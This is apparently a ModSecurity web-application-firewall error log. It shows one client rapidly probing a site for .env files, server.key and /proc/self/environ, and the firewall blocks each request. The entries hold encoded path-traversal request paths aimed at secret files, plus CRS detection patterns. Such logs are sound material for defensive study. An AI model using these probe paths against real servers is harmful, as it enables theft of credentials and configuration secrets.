[Sun Oct 25 10:21:32.823937 2026] [security2:error] [pid 2806348:tid 2806348] [client 35.204.239.58:42524] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.prod.local"] [unique_id "at4QbA-YVEbWS5meiuhlYwAAAAw"]
[Sun Oct 25 10:21:32.824282 2026] [security2:error] [pid 2806348:tid 2806348] [client 35.204.239.58:42524] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.prod.local"] [unique_id "at4QbA-YVEbWS5meiuhlYwAAAAw"]
[Sun Oct 25 10:21:32.928310 2026] [security2:error] [pid 2826774:tid 2826774] [client 35.204.239.58:49780] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "direc2.sherwinpinturas.com"] [uri "/server.key"] [unique_id "at4QbPWU2HQBncZeY47FJQAAAAQ"]
[Sun Oct 25 10:21:32.928737 2026] [security2:error] [pid 2826774:tid 2826774] [client 35.204.239.58:49780] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/server.key"] [unique_id "at4QbPWU2HQBncZeY47FJQAAAAQ"]
[Sun Oct 25 10:21:32.929059 2026] [security2:error] [pid 2826774:tid 2826774] [client 35.204.239.58:49780] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/server.key"] [unique_id "at4QbPWU2HQBncZeY47FJQAAAAQ"]
[Sun Oct 25 10:21:33.012397 2026] [security2:error] [pid 2834019:tid 2834019] [client 35.204.239.58:42510] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/var/task/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/@fs/var/task/.env"] [unique_id "at4QbUsgp-xlBP1GcWOSYgAAABE"]
[Sun Oct 25 10:21:33.012908 2026] [security2:error] [pid 2834019:tid 2834019] [client 35.204.239.58:42510] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/@fs/var/task/.env"] [unique_id "at4QbUsgp-xlBP1GcWOSYgAAABE"]
[Sun Oct 25 10:21:33.013274 2026] [security2:error] [pid 2834019:tid 2834019] [client 35.204.239.58:42510] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/@fs/var/task/.env"] [unique_id "at4QbUsgp-xlBP1GcWOSYgAAABE"]
[Sun Oct 25 10:21:33.040564 2026] [security2:error] [pid 2826774:tid 2826774] [client 35.204.239.58:49780] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at4QbfWU2HQBncZeY47FJgAAAAQ"]
[Sun Oct 25 10:21:33.041217 2026] [security2:error] [pid 2826774:tid 2826774] [client 35.204.239.58:49780] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at4QbfWU2HQBncZeY47FJgAAAAQ"]
[Sun Oct 25 10:21:33.041533 2026] [security2:error] [pid 2826774:tid 2826774] [client 35.204.239.58:49780] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at4QbfWU2HQBncZeY47FJgAAAAQ"]
[Sun Oct 25 10:21:33.073267 2026] [security2:error] [pid 2834020:tid 2834020] [client 35.204.239.58:42588] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at4QbRus_mjnPB8X3pG-WwAAABI"]
[Sun Oct 25 10:21:33.073815 2026] [security2:error] [pid 2834020:tid 2834020] [client 35.204.239.58:42588] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at4QbRus_mjnPB8X3pG-WwAAABI"]
[Sun Oct 25 10:21:33.074258 2026] [security2:error] [pid 2834020:tid 2834020] [client 35.204.239.58:42588] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at4QbRus_mjnPB8X3pG-WwAAABI"]
[Sun Oct 25 10:21:33.094824 2026] [security2:error] [pid 2821699:tid 2821699] [client 35.204.239.58:42498] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /..%252f found within REQUEST_URI_RAW: /@fs/..%252f..%252f..%252f..%252f..%252froot/.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "direc2.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at4QbZBSQk9YSmLuOvuRkAAAAAM"]
[Sun Oct 25 10:21:33.094918 2026] [security2:error] [pid 2821699:tid 2821699] [client 35.204.239.58:42498] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../root/.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "direc2.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at4QbZBSQk9YSmLuOvuRkAAAAAM"]
[Sun Oct 25 10:21:33.094965 2026] [security2:error] [pid 2821699:tid 2821699] [client 35.204.239.58:42498] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../root/.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "direc2.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at4QbZBSQk9YSmLuOvuRkAAAAAM"]
[Sun Oct 25 10:21:33.095017 2026] [security2:error] [pid 2821699:tid 2821699] [client 35.204.239.58:42498] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /root/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at4QbZBSQk9YSmLuOvuRkAAAAAM"]
[Sun Oct 25 10:21:33.095445 2026] [security2:error] [pid 2821699:tid 2821699] [client 35.204.239.58:42498] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 20)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at4QbZBSQk9YSmLuOvuRkAAAAAM"]
[Sun Oct 25 10:21:33.095777 2026] [security2:error] [pid 2821699:tid 2821699] [client 35.204.239.58:42498] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 20 - SQLI=0,XSS=0,RFI=0,LFI=20,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at4QbZBSQk9YSmLuOvuRkAAAAAM"]
[Sun Oct 25 10:21:33.120923 2026] [security2:error] [pid 2842300:tid 2842300] [client 35.204.239.58:42600] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at4QbfrIyYTZs3Zw4AltggAAAAE"]
[Sun Oct 25 10:21:33.121365 2026] [security2:error] [pid 2842300:tid 2842300] [client 35.204.239.58:42600] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at4QbfrIyYTZs3Zw4AltggAAAAE"]
[Sun Oct 25 10:21:33.121714 2026] [security2:error] [pid 2842300:tid 2842300] [client 35.204.239.58:42600] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at4QbfrIyYTZs3Zw4AltggAAAAE"]
[Sun Oct 25 10:21:33.122800 2026] [security2:error] [pid 2842301:tid 2842301] [client 35.204.239.58:42598] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /..%252f found within REQUEST_URI_RAW: /@fs/..%252f..%252f..%252f..%252f..%252fproc/self/environ?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "direc2.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at4QbbAXYX-KZxBobEnRPAAAAAI"]
[Sun Oct 25 10:21:33.122858 2026] [security2:error] [pid 2842301:tid 2842301] [client 35.204.239.58:42598] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../proc/self/environ?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "direc2.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at4QbbAXYX-KZxBobEnRPAAAAAI"]
[Sun Oct 25 10:21:33.122888 2026] [security2:error] [pid 2842301:tid 2842301] [client 35.204.239.58:42598] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../proc/self/environ?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "direc2.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at4QbbAXYX-KZxBobEnRPAAAAAI"]
[Sun Oct 25 10:21:33.123270 2026] [security2:error] [pid 2842301:tid 2842301] [client 35.204.239.58:42598] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at4QbbAXYX-KZxBobEnRPAAAAAI"]
[Sun Oct 25 10:21:33.123514 2026] [security2:error] [pid 2842301:tid 2842301] [client 35.204.239.58:42598] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at4QbbAXYX-KZxBobEnRPAAAAAI"]
[Sun Oct 25 10:21:33.124507 2026] [security2:error] [pid 2815605:tid 2815605] [client 35.204.239.58:42582] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /@fs/../.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4QbQYPMfHr0EMMDlnoOQAAABM"]
[Sun Oct 25 10:21:33.124588 2026] [security2:error] [pid 2815605:tid 2815605] [client 35.204.239.58:42582] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4QbQYPMfHr0EMMDlnoOQAAABM"]
[Sun Oct 25 10:21:33.124894 2026] [security2:error] [pid 2815605:tid 2815605] [client 35.204.239.58:42582] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4QbQYPMfHr0EMMDlnoOQAAABM"]
[Sun Oct 25 10:21:33.125119 2026] [security2:error] [pid 2815605:tid 2815605] [client 35.204.239.58:42582] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4QbQYPMfHr0EMMDlnoOQAAABM"]
[Sun Oct 25 10:21:33.150532 2026] [security2:error] [pid 2826774:tid 2826774] [client 35.204.239.58:49780] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/proc/self/cwd/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/@fs/proc/self/cwd/.env"] [unique_id "at4QbfWU2HQBncZeY47FJwAAAAQ"]
[Sun Oct 25 10:21:33.150916 2026] [security2:error] [pid 2826774:tid 2826774] [client 35.204.239.58:49780] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/@fs/proc/self/cwd/.env"] [unique_id "at4QbfWU2HQBncZeY47FJwAAAAQ"]
[Sun Oct 25 10:21:33.151251 2026] [security2:error] [pid 2826774:tid 2826774] [client 35.204.239.58:49780] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/@fs/proc/self/cwd/.env"] [unique_id "at4QbfWU2HQBncZeY47FJwAAAAQ"]
